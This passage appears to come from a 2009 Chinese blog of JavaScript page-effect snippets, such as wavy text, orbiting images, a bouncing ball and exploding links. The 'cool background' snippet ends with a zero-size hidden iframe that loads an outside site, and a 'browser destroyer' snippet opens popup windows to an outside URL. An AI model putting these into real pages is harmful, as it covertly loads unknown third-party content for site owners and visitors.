    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }

    obj.visibility=v; }

}

//-->

</script>

 

</head>

 

<body onload=changetext()>

<SCRIPT>

<!-- Beginning of JavaScript -

if (document.all) {

       for (i=0;i<=y_slices-1;i++) {

              for (ii=0;ii<=x_slices-1;ii++) {

                  document.write("<span id='span"+spancounter+"' class='spanstyle'></span>")

                     spancounter++

              }

       }

       spancounter=0

}

// - End of JavaScript - -->

</SCRIPT>

 

</body>

 

</html>

 

1 Comments

Wed

18

Mar

2009

19、动态波浪效果的文字

19、动态波浪效果的文字

<html>

 

<head>

<title>网页特效---动态波浪效果的文字</title>

 

</head>

 

<body onload="if (document.all)test()">

<script language="javascript">

<!--

if (document.layers)

 {

 alert("Your Browser is not capable of displaying this effect.\nPick another.");

 opener.gO();window.close();

 }

else

if (document.all){

var step=3;

var xstep=0;

var msg='★欢迎光临我的主页!!';

document.write("<center><div id='water' style='position:relative;width:450px;height:100px;font-family:Verdana;font-size:40px;color:#ff0000'>"+msg+"</div></center>");

function test(){

document.all.water.style.filter='wave(freq=3, strength=10, phase='+xstep+', lightstrength=45, add=0, enabled=1)';

xstep+=step;

TIMER=setTimeout('test()',10);

}

}

//-->

</script>

 

</body>

</html>

 

1 Comments

Wed

18

Mar

2009

18、滚动文本19

18、滚动文本19

<table border="1" bordercolor="#000000" bgcolor="#6699ff" cellpadding="5" cellspacing="0">

<tr>

<td>

<script language=javascript>

 

document.write ("<marquee scrollamount='1' scrolldelay='30' direction= 'UP' width='200' id='helpor_net' height='150' onmouseover='helpor_net.stop()' onmouseout='helpor_net.start()' Author:redriver; For more,visit:www.helpor.net>")

 

document.write ("<h2><p align='center'><font color='#ffffff' face='黑体'> </font></h2>")

document.write ("<p align='right'><a href='#' target='_blank'><font color='#ffffff'>徐志摩</font></a> ")

document.write ("<p><font color='#ffffff'> ")

document.write ("<br>我是天空里的一片云")

document.write ("<br>偶尔投影在你的波心—— ")

document.write ("<br>你不必讶异, ")

document.write ("<br>更无须欢喜—— ")

document.write ("<br>在转瞬间消灭了踪影。")

document.write ("<br>")

document.write ("<br>你我相逢在黑暗的海上,")

document.write ("<br>你有你的我有我的方向")

document.write ("<br>你记得也好 ")

document.write ("<br>最好你忘掉 ")

document.write ("<br>在这交会时互放的光亮 ")

document.write ("</font>")

 

document.write ("</marquee> ")

</script>

</td>

</tr>

</table>

 

1 Comments

Wed

18

Mar

2009

17、浏览器毁灭者18

17、浏览器毁灭者18

一点就出现很多窗口

脚本说明:

第一步:把如下代码加入<head>区域中

<script language="JavaScript">

 

<!---hide---

 

function pop(){

 

            for(i=1;i<=3;i++){

 

                 window.open('http://www38.websamba.com/fawang/store/htm/tupian.htm','','width=250,height=250','status=off','location=off','toolbar=off','scrollbars=off')}}

 

//--->

</script>

 

 

第二步:把如下代码加入<body>区域中

<form name="form">

        <p>

      <input type="button" value="测试:一点击就打开360*60的小窗口" onClick="pop()" name="button" class="unnamed1">

    </p>

</form>

 

1 Comments

Wed

18

Mar

2009

16、随心飞舞

16、随心飞舞

<STYLE type=text/css>BODY {

       FONT-SIZE: 9pt; FONT-FAMILY: "宋体"

}

TD {

       FONT-SIZE: 9pt; FONT-FAMILY: "宋体"

}

A:link {

       TEXT-DECORATION: underline

}

A:hover {

       TEXT-DECORATION: none

}

</STYLE>

 

<STYLE type=text/css>#a0 {

       Z-INDEX: 2000; LEFT: 24px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a1 {

       Z-INDEX: 2000; LEFT: 96px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a2 {

       Z-INDEX: 2000; LEFT: 132px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a3 {

       Z-INDEX: 2000; LEFT: 192px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a4 {

       Z-INDEX: 2000; LEFT: 240px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a5 {

       Z-INDEX: 2000; LEFT: 280px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a6 {

       Z-INDEX: 2000; LEFT: 24px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a7 {

       Z-INDEX: 2000; LEFT: 200px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a8 {

       Z-INDEX: 2000; LEFT: 300px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a9 {

       Z-INDEX: 2000; LEFT: 450px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#what {

       Z-INDEX: 3000; LEFT: -96px; VISIBILITY: hidden; POSITION: absolute; TOP: 0px

}

.dbt2 {

       BACKGROUND-COLOR: #fecac5

}

.dbt4 {

       BACKGROUND-COLOR: #fdf7f7

}

</STYLE>

</HEAD>

<BODY text=#ffffff vLink=#ffffff aLink=#ffffff link=#ffffff bgProperties=fixed

bgColor=#000000

background="pic/backokxy.gif"

onload=startthedots()>

<SCRIPT language=JavaScript>

  window.onerror=null;

  netscape = (document.layers) ? 1:0;

  goodIE = (document.all) ? 1:0;

  //window.onResize="history.go(0); setup()";

  document.onmousemove=MoveHandler;

  var gotthere = 0;

  var count = 0;

  toplocation = new Array( 0,30,57,80,101,125,80,80,101,125,80,0 );

  temptoplocation = new Array( 50,100,100,150,150,200,200,100,150,150,200,200,0

  );

  leftlocation = new Array( 0,292,318,181,181,217,263,318,181,181,217,263,-96

  );

  templeftlocation = new Array( 0,0,260,390,420,550,680,390,420,550,680,0 );

  difftop = new Array( 0,0,0,0,0,0,0,0,0,0,0,0 );

  diffleft = new Array( 0,0,0,0,0,0,0,0,0,0,0,0 );

  questtop = -13;

  questleft2 = -96;

  if (netscape) {

  window.captureEvents(Event.MOUSEMOVE);

  window.onMouseMove = MoveHandler;

  var layerstart = "document.";

  var layerleft = ".left";

  var layertop = ".top";

  var layerstyle = "";

  var windowWidth = window.innerWidth;

  var windowHeight = window.innerHeight; }

  else if (goodIE) {

  layerstart = "document.all.";

  layerleft = ".left";

  layertop = ".top";

  layerstyle = ".style";

  windowWidth=600;

  windowHeight=400; }

  // end error trapping

  var Ypos2 = 72;

  var Xpos2 = 72;

  function MoveHandler(e) {

  if (netscape || goodIE) {

  Xpos2 = (netscape)?e.pageX:event.x

  Ypos2 = (netscape)?e.pageY:event.y

  Xorigin = Xpos2;

  Yorigin = Ypos2;

  if (Ypos2 > windowHeight/2) {

  if (Xpos2 > windowWidth/2) { direction = 1;}

  else { direction = -1;} }

  else {

  if (Xpos2 > windowWidth/2) { direction = -1;}

  else { direction = 1;} }

  }}

  amountup=44;

  function startthedots() {

  if (goodIE) {

  windowWidth=document.body.clientWidth;

  windowHeight=document.body.clientHeight; }

  markMe();

  eval(layerstart+"what"+layerstyle+layertop+" = windowHeight-amountup");

  eval(layerstart+"what"+layerstyle+".visibility = 'visible'");

  Xorigin = 204;

  Yorigin = 147;

  spin();run(); }

  var OrbitSize = 250;

  count=1; delay=100; direction = -1;

  var speed = 0.0628;

  var offset = 1;

  Count = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67 );

  PreCount = new Array ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 );

  Xcount = new Array()

  Ycount = new Array()

  for ( j = 0 ; j <= 300 ; j++ ) {

  Xcount[j] = Math.sin(j*speed);

  Ycount[j] = Math.cos(j*speed);

  }

  placeholder = 100;

  Xpoint = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67

  );

  Ypoint = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67

  );

  function spin() {

  if (direction) {

  placeholder++;

  if (placeholder > 199) { placeholder=100; }}

  else {

  placeholder--;

  if (placeholder < 100 ) { placeholder=199; }}

  for ( j = 0 ; j <= 9 ; j++ ) {

  Xpoint[j] = Xorigin + ( (OrbitSize*offset) * Xcount[placeholder+(j*10*direction)]

  );

  Ypoint[j] = Yorigin + ((OrbitSize * Ycount[placeholder+(j*10*direction)]) +

  dotsoff);

  }

  setTimeout('spin()',20);

  //window.status='Xorigin = '+Xorigin+' / Yorigin = '+Yorigin;

  }

  function run() {

  count++;

  for ( j = 0 ; j <= 9 ; j++ ) {

  difftop[j] = Ypoint[j] - temptoplocation[j];

  diffleft[j] = Xpoint[j] - templeftlocation[j];

  diff = 30;

  temptoplocation[j] = temptoplocation[j] + (difftop[j]/diff);

  templeftlocation[j] = templeftlocation[j] + diffleft[j]/diff;

  eval(layerstart+"a"+j+layerstyle+layerleft+" = templeftlocation["+j+"]");

  eval(layerstart+"a"+j+layerstyle+layertop+" = temptoplocation["+j+"]");

  }

  setTimeout('run()', 47) }

  goforit=1;

  function question0() {

  if (goforit) { goforit=0; question1(); }}

  function question1() {

  questleft2++;questleft2++;questleft2++;

  if (questleft2 <= 0) {

  eval(layerstart+"what"+layerstyle+layerleft+" = questleft2");

 

  setTimeout('question1()', 10); }

  else { setTimeout('question2()',1000);}

  }

  function question2() {

  questleft2--;questleft2--;questleft2--;

  if (questleft2 >= -96) {

  eval(layerstart+"what"+layerstyle+layerleft+" = questleft2");

 

  setTimeout('question2()', 10); }

  if (questleft2 == -96) { goforit=1; } }

  mark = 150; // milliseconds

  navDOM = window.innerHeight; // Nav DOM flag

  function markMe() {

  window.onresize=setup;

  markID = setInterval ("setup()",mark);

  }

  var dotsoff=0;

  function setup() {

  pagescroll=navDOM?pageYOffset:document.body.scrollTop

  eval(layerstart+"what"+layerstyle+layertop+" = windowHeight-amountup+pagescroll");

  if (!netscape) { dotsoff = pagescroll; }

  }

  //-- end script -->

  </SCRIPT>

 

<DIV id=a0 align=center><IMG height=14

src="../store/pic/love001.gif"

width=14></DIV>

<DIV id=a1 align=center><IMG height=14

src="../store/pic/love002.gif"

width=14></DIV>

<DIV id=a2 align=center><IMG height=14

src="../store/pic/love003.gif"

width=14></DIV>

<DIV id=a3 align=center><IMG height=14

src="../store/pic/love004.gif"

width=14></DIV>

<DIV id=a4 align=center><IMG height=14

src="../store/pic/love005.gif"

width=14></DIV>

<DIV id=a5 align=center><IMG height=14

src="../store/pic/love006.gif"

width=14></DIV>

<DIV id=a6 align=center><IMG height=14

src="../store/pic/love007.gif"

width=14></DIV>

<DIV id=a7 align=center><IMG height=14

src="../store/pic/love008.gif"

width=14></DIV>

<DIV id=a8 align=center><IMG height=14

src="../store/pic/love001.gif"

width=14></DIV>

<DIV id=a9 align=center><IMG height=14

src="../store/pic/love002.gif"

width=14></DIV>

<DIV id=what align=left></DIV>

 

 

0 Comments

Wed

18

Mar

2009

15、鼠标点击弹球

15、鼠标点击弹球

<SCRIPT LANGUAGE="JavaScript1.2">

<!-- Begin

function BrowserCheck() {

var b = navigator.appName;

if (b == "Netscape") this.b = "NS";

else if (b == "Microsoft Internet Explorer") this.b = "IE";

else this.b = b;

this.v = parseInt(navigator.appVersion);

this.NS = (this.b == "NS" && this.v>=4);

this.NS4 = (this.b == "NS" && this.v == 4);

this.NS5 = (this.b == "NS" && this.v == 5);

this.IE = (this.b == "IE" && this.v>=4);

this.IE4 = (navigator.userAgent.indexOf('MSIE 4')>0);

this.IE5 = (navigator.userAgent.indexOf('MSIE 5')>0);

if (this.IE5 || this.NS5) this.VER5 = true;

if (this.IE4 || this.NS4) this.VER4 = true;

this.OLD = (! this.VER5 && ! this.VER4) ? true : false;

this.min = (this.NS||this.IE);

}

is = new BrowserCheck();

//  End -->

</script>

 

<div id="staticBall" style="position:relative;visibility:hidden"><img src="../store/pic/ball.gif" height=30 width=30 alt="Static ball"></div>

<div id="ball" style="visibility:hidden; position:absolute; left:100; top:10; height:34; width:34"><img src="../store/pic/ball.gif" height=30 width=30 alt="Bouncing ball"></div>

 

<script language="Javascript1.2">

<!-- Begin

iter = 0;

setId = 0;

down = true;

up = false;

bouncingBall = (is.VER5) ? document.getElementById("ball").style

: (is.NS) ? document.layers["ball"]

: document.all["ball"].style;

stillBall = (is.VER5) ? document.getElementById("staticBall").style

: (is.NS) ? document.layers["staticBall"] : document.all["staticBall"].style;

winH = (is.NS) ? window.innerHeight - 55 : document.body.offsetHeight - 55;

document.onmouseup = buttonUp;

if (is.NS4)

document.captureEvents(Event.MOUSEUP);

function buttonUp(e) {

if ( ((is.NS) ? e.which : event.button) != 1) return true;

if (setId != 0) clearInterval(setId);

bouncingBall.visibility="visible";

stillBall.visibility="hidden";

bouncingBall.left = (is.NS) ? e.pageX - 15 : event.offsetX - 15;

bouncingBall.top = (is.NS) ? e.pageY - 15 : event.offsetY - 15;

iter = 0;

setId = setInterval("generateGravity()", 20);

return true;

}

function generateGravity() {

if ((parseInt(bouncingBall.top)+iter < winH) && down) {

bouncingBall.top = parseInt(bouncingBall.top) + iter;

iter++;

return;

}

else {

if ((parseInt(bouncingBall.top)< winH) && down) {

bouncingBall.top = winH + 5;

return;

}

down = false;

up = true;

if (iter < 0 && parseInt(bouncingBall.top) > winH) {

clearInterval(setId);

bouncingBall.visibility = "hidden";

stillBall.visibility="visible";

setId = 0;

}

if (parseInt(bouncingBall.top) > 0 && up && iter >= 0) {

bouncingBall.top = parseInt(bouncingBall.top) - iter;

iter--;

if (iter%3 == 0) iter--;

return;

}

down = true;

up = false;

   }

}

// End -->

</script>

 

 

0 Comments

Wed

18

Mar

2009

14、围绕的雪花

14、围绕的雪花

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>特效名称:心跳转动鼠标</title>

</head>

 

<body>

 

 

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var images='../stroe/pic/xintiaom.gif';

var amount=7;

var cnter=70;

var step;

var currStep = 0;

var Xpos = 0;

var Ypos = 0;

if (document.all)

{

document.write('<div id="ieDiv" style="position:absolute;top:0px;left:0px">')

document.write('<div id="c" style="position:relative">');

for (n=0; n < amount; n++)

document.write('<img src=" '+images+'" style="position:absolute;top:0px;left:0px">')

document.write('</div>')

document.write('</div>')

function MsieMouseFollow(){

 Xpos = document.body.scrollLeft+event.x-5;

 Ypos = document.body.scrollTop+event.y-5;

 }

 document.onmousemove = MsieMouseFollow;

}

else if (document.layers)

{

window.captureEvents(Event.MOUSEMOVE);

for (ns=0; ns < amount; ns++)

document.write("<LAYER NAME='n"+ns+"' LEFT=0 TOP=0><IMG SRC='"+images+"'></LAYER>");

function NsMouseFollow(evnt){

 Xpos = evnt.pageX-5;

 Ypos = evnt.pageY-5;

 }

 window.onMouseMove = NsMouseFollow;

}

 

function Swirl(){

if (currStep<0.0550)

step=0.001;

if (document.all)

{

 for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top = Ypos+cnter*Math.cos((currStep+i*4.5)/5)*Math.sin((currStep)*150);

ieDiv.all.c.all[i].style.left = Xpos+cnter*Math.sin((currStep+i*4.5)/5)*Math.sin((currStep)*150);

 }

}

else if (document.layers)

{

 for ( i = 0 ; i < ns ; i++ )

 {

  var temp="n"+i

  document.layers[temp].top = Ypos+cnter*Math.cos((currStep+i*4.5)/5)*Math.sin((currStep)*150);

  document.layers[temp].left =Xpos+cnter*Math.sin((currStep+i*4.5)/5)*Math.sin((currStep)*150);

 }

}

currStep += step;

setTimeout("Swirl()", 10);

if (currStep>0.0540)

{

step+=0.002;

if (document.layers)

{

 for ( i = 0 ; i < ns ; i++ )

 {

var temp="n"+i

document.layers[temp].top =Ypos+cnter*Math.cos((currStep+i*4.5)/5)

document.layers[temp].left=Xpos+cnter*Math.sin((currStep+i*4.5)/5)

 }

}

else if (document.all)

{

for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top=Ypos+cnter*Math.cos((currStep+i*4.5)/5)

ieDiv.all.c.all[i].style.left=Xpos+cnter*Math.sin((currStep+i*4.5)/5)

 }

}

}

if (step > 0.5)

{

step=0.5;

cnter-=8;

}

if (document.layers)

_y=-window.innerWidth;

else if (document.all)

_y=-document.body.clientWidth;

if (cnter <= _y)

{

currStep=0;

step=0.001;

cnter=70;

}

}

Swirl();

// End -->

</SCRIPT>

</body>

 

</html>

 

0 Comments

Wed

18

Mar

2009

13、超级链接爆炸了

13、超级链接爆炸了

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

document.write('<style><!--');

document.write('.spanstyle {  position:absolute;    visibility:hidden;}');

document.write('--></style>');

var debrisnumber=40

var debriscolor=new Array()

debriscolor[0]="FFAAAA"

debriscolor[1]="AA0000"

debriscolor[2]="770000"

debriscolor[3]="AA4444"

debriscolor[4]="EE4422"

var x_debrispos

var y_debrispos

var x,y

var x_random=new Array()

var y_random=new Array()

var max_explsteps=20

var i_explsteps=0

var i_color=0

var pause=10

function checkbrowser() {

    i_explsteps=0

    x_debrispos=x

    y_debrispos=y

    for (i=0;i<=debrisnumber;i++) {

        x_random[i]=Math.ceil(40*Math.random())-20

        y_random[i]=Math.ceil(40*Math.random())-20

       }

       if (document.all) {

        for (i=0;i<=debrisnumber;i++) {

            var thisspan=eval("document.all.span"+i+".style")

            thisspan.visibility="VISIBLE"

                     thisspan.posLeft=x_debrispos

                     thisspan.posTop=y_debrispos

              }

        explode_IE()

    }

    if (document.layers) {

        for (i=0;i<=debrisnumber;i++) {

            var thisspan=eval("document.span"+i)

            thisspan.visibility="VISIBLE"

            thisspan.left=x_debrispos

            thisspan.top=y_debrispos

              }

        explode_NN()

    }

}

function explode_IE() {

       if (i_explsteps<=max_explsteps) {

              for (i=0;i<=debrisnumber;i++) {

            var thisspan=eval("document.all.span"+i+".style")

            thisspan.posLeft+=x_random[i]

            thisspan.posTop+=y_random[i]

              }

              i_explsteps++

              var timer=setTimeout("explode_IE()",pause)

       }

       else {

              for (i=0;i<=debrisnumber;i++) {

               var thisspan=eval("document.all.span"+i+".style")

               thisspan.visibility="HIDDEN"

              }

              clearTimeout(timer)

       }

}

function explode_NN() {

       if (i_explsteps<=max_explsteps) {

              for (i=0;i<=debrisnumber;i++) {

            var thisspan=eval("document.span"+i)

            thisspan.left+=x_random[i]

            thisspan.top+=y_random[i]

              }

              i_explsteps++

              var timer=setTimeout("explode_NN()",pause)

       }

       else {

              for (i=0;i<=debrisnumber;i++) {

            var thisspan=eval("document.span"+i)

            thisspan.visibility="HIDDEN"

              }

              clearTimeout(timer)

       }

}

function handlerMM(e){

       x = (document.layers) ? e.pageX : document.body.scrollLeft+event.clientX

       y = (document.layers) ? e.pageY : document.body.scrollTop+event.clientY

}

if (document.layers){

       document.captureEvents(Event.MOUSEMOVE);

}

document.onmousemove = handlerMM;

for (i=0;i<=debrisnumber;i++) {

    document.write("<div id='span"+i+"' class='spanstyle'>")

    document.write("<table cellpadding=0 cellspacing=0>")

    document.write("<tr><td bgcolor="+debriscolor[i_color]+">")

    document.write("<img src='coolboo.gif' width=3>")

    document.write("</td></tr></table>")

    document.write("</div>")

    i_color++

    if (i_color>=debriscolor.length) {i_color=0}

}

// End -->

</SCRIPT>

 

<a href="http://" onMouseOver="checkbrowser()"><font size="2" color="#0000FF" face="宋体">dddddddddddddddddd</font></a><br>

 

0 Comments

Wed

18

Mar

2009

12、鼠标和星星11

12、鼠标和星星11

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>鼠标转动星星链接</title>

</head>

 

<body>

 

 

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

document.write("<style><!--.spanstyle{ position:absolute; visibility:visible; top:-50px;}.explain{ position:absolute; top:40px; left:10px; width:560px; }--></style>");

var x,y; var step=5; var flag=1; var pause; var timersmall; var timerbig; var isbigcircle=1; var pause=50; var bigradius; var smallradius=50;

var startwinkel=1; var imgnumber=12; var imgsrc="cbstar.gif"; var xcenter; var ycenter; var pi= Math.PI

function onresizer(){clearTimeout(timerbig); clearTimeout(timersmall); initiate();}

function initiate(){var initiatetimer=setTimeout("initiate2()",2000); }

function initiate2(){if (document.layers){xcenter=Math.floor(screen.width/2.3-20); ycenter=Math.floor(window.innerHeight/2.3-20)}

if (document.all){xcenter=Math.floor(document.body.clientWidth/2.3-20);ycenter=Math.floor(document.body.clientHeight/2.3-20)};bigradius=ycenter;bigcircle();}

function handlerMM(e){x = (document.layers) ? e.pageX : event.clientX;y = (document.layers) ? e.pageY : event.clientY;flag=1;}

function bigcircle(){if (isbigcircle==1){if (document.all){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.all.span"+(i)+".style");thisspan.posLeft=((xcenter-20)*Math.cos(startwinkel*(pi/180)))+xcenter;thisspan.posTop=((ycenter-20)*Math.sin(startwinkel*(pi/180)))+ycenter;startwinkel=startwinkel+30;}}

if (document.layers){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.span"+i);thisspan.left=((xcenter-150)*Math.cos(startwinkel*(pi/180)))+(xcenter-145);thisspan.top=((ycenter-20)*Math.sin(startwinkel*(pi/180)))+ycenter;startwinkel=startwinkel+30;}}

step=step+5;startwinkel=step;timerbig=setTimeout("bigcircle()",pause);}else{isbigcircle=0;clearTimeout(timerbig)}}

function presmallcircle(){isbigcircle=0;clearTimeout(timerbig);smallcircle();}

function prebigcircle(){isbigcircle=1;clearTimeout(timersmall);bigcircle()}

function smallcircle(){if (isbigcircle==0){if (document.all){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.all.span"+(i)+".style");thisspan.posLeft=(smallradius*Math.cos(startwinkel*(pi/180)))+x;thisspan.posTop=(smallradius*Math.sin(startwinkel*(pi/180)))+y;startwinkel=startwinkel+30;}}

if (document.layers){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.span"+i);thisspan.left=(smallradius*Math.cos(startwinkel*(pi/180)))+x;thisspan.top=(smallradius*Math.sin(startwinkel*(pi/180)))+y;startwinkel=startwinkel+30;}}

step=step+5;startwinkel=step;timersmall=setTimeout("smallcircle()",pause);}else{isbigcircle=0;clearTimeout(timersmall);}}

window.onoad=initiate();for (i=1;i<=imgnumber;i++){document.write("<span id='span"+i+"' class='spanstyle'>");document.write("<img src='"+imgsrc+"'>");document.write("</span>");}if (document.layers){document.captureEvents(Event.MOUSEMOVE);}document.onmousemove = handlerMM;document.onresize = onresizer;

// End -->

</SCRIPT>

 

<a href="http://" title="" onMouseOver="presmallcircle()" onMouseOut="prebigcircle()"><font color="#000000" size="2" face="宋体">eeeeeeeeeeeeeeeeeee</font></a><br>

<a href="http://" title="" onMouseOver="presmallcircle()" onMouseOut="prebigcircle()"><font color="#000000" size="2" face="宋体">errrrrrrrrrrrr</font></a><br>

 

 

 

</body>

 

</html>

 

0 Comments

Wed

18

Mar

2009

11、闪烁的酷背景

11、闪烁的酷背景

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!-- Space Variation by kurt.jojoo@jojoo.net

if (document.all){

xL=5;

xH=0;

xW=0;

xR=0;

xE=0;

xMY=0;

xMX=0;

xWd=0;

xHd=0;

xF=new Array();

xY=new Array();

xX=new Array();

xS=new Array();

xA=new Array();

xB=new Array();

ini=new Array();

cl=new Array('#fff000','#0000FF','#ff0000','#00ff00','#ff00ff','#ffa500')

document.write('<div id="xouter" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i=0; i < xL; i++){

document.write('<div id="xie" style="position:absolute;top:0;left:0;width:10px;height:10px;'

+'font-family:Courier New;font-size:50px;color:#ffffff">.</div>');

}

document.write('</div></div>');

//Initial Placement!

function Set(){

for (i=0; i < xL; i++){

xH=window.document.body.offsetHeight;

xW=window.document.body.offsetWidth;

xA[i]=Math.round(Math.random()*xH);

xB[i]=Math.round(Math.random()*xW);

xS[i]=Math.random()*0.07+0.05;

xR=Math.round(Math.random()*3);

xE=Math.round(Math.random()*2500+50)

if (xR == 3) xB[i]=-xE;

if (xR == 2) xB[i]=xW+xE;

if (xR == 1) xA[i]=-xE;

if (xR == 0) xA[i]=xH;

xF[i]=xW/14;

}

}

Set();

function Assign(){

xouter.style.top=document.body.scrollTop;

for (i=0; i < xL; i++){

xF[i]-=xS[i]*25;

if (xF[i] < 4) xF[i]=3;

xie[i].style.top =xY[i];

xie[i].style.left=xX[i];

xie[i].style.fontSize=xF[i];

xie[i].style.filter='glow(color='+ini[i]+', strength='+xF[i]/3+')';

}

}

function fly(){

var N=Math.floor(Math.random()*cl.length)

xMY=window.document.body.clientHeight/2;

xMX=window.document.body.clientWidth/2;

xWd=Math.round(Math.random()*40+5);

xHd=Math.round(Math.random()*30+5);

for (i=0; i < xL; i++)

{

xY[i]=xA[i]+=(xMY-xA[i])*(xS[i]);             

xX[i]=xB[i]+=(xMX-xB[i])*(xS[i]); 

if ((xX[i] > xMX-xWd) && (xX[i] < xMX+xWd) && (xY[i] > xMY-xHd) && (xY[i] < xMY+xHd)){

 

 xH=window.document.body.offsetHeight;

 xW=window.document.body.offsetWidth;

 xA[i]=Math.round(Math.random()*xH);

 xB[i]=Math.round(Math.random()*xW);

 xS[i]=Math.random()*0.05+0.05;

 xR=Math.round(Math.random()*3);

 xE=Math.round(Math.random()*50+50)

 if (xR == 3) xB[i]=-xE;

 if (xR == 2) xB[i]=xW+xE;

 if (xR == 1) xA[i]=-xE;

 if (xR == 0) xA[i]=xH+xE;

}

if ((xX[i] < 0) || (xX[i] > xW) || (xY[i] < 0) || (xY[i] > xH))

 {

 xF[i]=xW/14;

 ini[i]=cl[N];

 }

}

Assign();

setTimeout('fly()',10);

}

fly();

}

// -->

</script>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

</body>

 

</html>

 

0 Comments

Wed

18

Mar

2009

10、鼠标变形

10、鼠标变形

<style type=TEXT/CSS>

BODY {CURSOR:url('http://imgcache.qq.com/qzone/item/orig/9/2617.ani');}

A {CURSOR:hand}

</style>

 

0 Comments

Wed

18

Mar

2009

9、加入收藏夹代码

9、加入收藏夹代码

<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage

('http://');">将本站设为首页</a>

<script language="JavaScript">

function bookmarkit(){window.external.addFavorite('http://','')}

if (document.all)document.write('<a href="#" onClick="bookmarkit()">将本站加入收藏夹</a>')

</script>

 

0 Comments

Wed

18

Mar

2009

8、跟随鼠标的快乐小孩

8、跟随鼠标的快乐小孩

<STYLE>v\:* {

       BEHAVIOR: url(#default#VML)

}

A:link {

       COLOR: coral; TEXT-DECORATION: none

}

A:visited {

       COLOR: red; TEXT-DECORATION: none

}

A:active {

       COLOR: green; TEXT-DECORATION: none

}

A:hover {

       COLOR: steelblue; TEXT-DECORATION: none

}

</STYLE>

 

<SCRIPT language=JavaScript>

function click() {if (event.button==2 | event.button==3) {alert('小心别笑破肚皮,哈哈')}} document.onmousedown=click

</SCRIPT>

 

<META content="MSHTML 6.00.2900.2144" name=GENERATOR></HEAD>

<BODY bgColor=#000000 scroll=yes>

<DIV style="WIDTH: 749px; HEIGHT: 19px"><FONT face=MingLiu size=2></FONT></DIV>

<DIV style="BACKGROUND: #e4e4e4; font-color: black"></DIV>

<DIV>  </DIV>

<DIV></DIV>

<DIV></DIV>

<DIV style="WIDTH: 727px; HEIGHT: 32px">

<P align=center><BR></P></DIV>

<DIV class=OutlookMessageHeader dir=ltr align=left> </DIV>

<DIV class=OutlookMessageHeader dir=ltr align=left> </DIV>

<DIV><FONT color=#ff0000 size=4></FONT> </DIV>

<DIV> </DIV>

<DIV>

<P align=center><BR></P></DIV>

<DIV style="FONT: 10pt arial">

<DIV><STRONG><FONT face="Comic Sans MS" color=#ffff00

size=3>    </FONT></STRONG><BR> </DIV></DIV>

<BLOCKQUOTE

style="PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">

  <DIV><FONT face="Comic Sans MS" size=4></FONT><BR> </DIV>

  <DIV><FONT color=#00ffff></FONT> </DIV>

  <BLOCKQUOTE

  style="PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">

    <DIV><FONT color=#00ffff><BR></FONT> </DIV>

    <DIV><FONT color=#00ffff></FONT> </DIV>

    <DIV

    style="FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #ffff00; FONT-FAMILY: verdana"

    align=justify><BR><BR><BR><BR><FONT size=1></FONT> </DIV><IMG id=Om

    style="LEFT: -1000px; POSITION: absolute" height=145 src="store/pic/1.gif"

    width=145>

    <SCRIPT>    

ddx=0;ddy=0;PX=0;PY=0;xm=0;ym=0    

OmW=Om.width/2;OmH=Om.height/2    

document.body.style.cursor="hand"    

function Ouille(){    

       x=Math.round(PX+=(ddx+=((xm-PX-ddx)*3)/100))    

       y=Math.round(PY+=(ddy+=((ym-PY-ddy)*3-300)/100))    

       Om.style.left=x-OmW    

       Om.style.top=y-OmH    

       elastoc.to=x+","+y    

       elastoc.strokecolor="RGB("+x+","+(2*y)+",0)"    

       setTimeout("Ouille()",1)       

}    

function momouse(){    

       xm=window.event.x    

       ym=window.event.y    

       elastoc.from=xm+","+ym    

}    

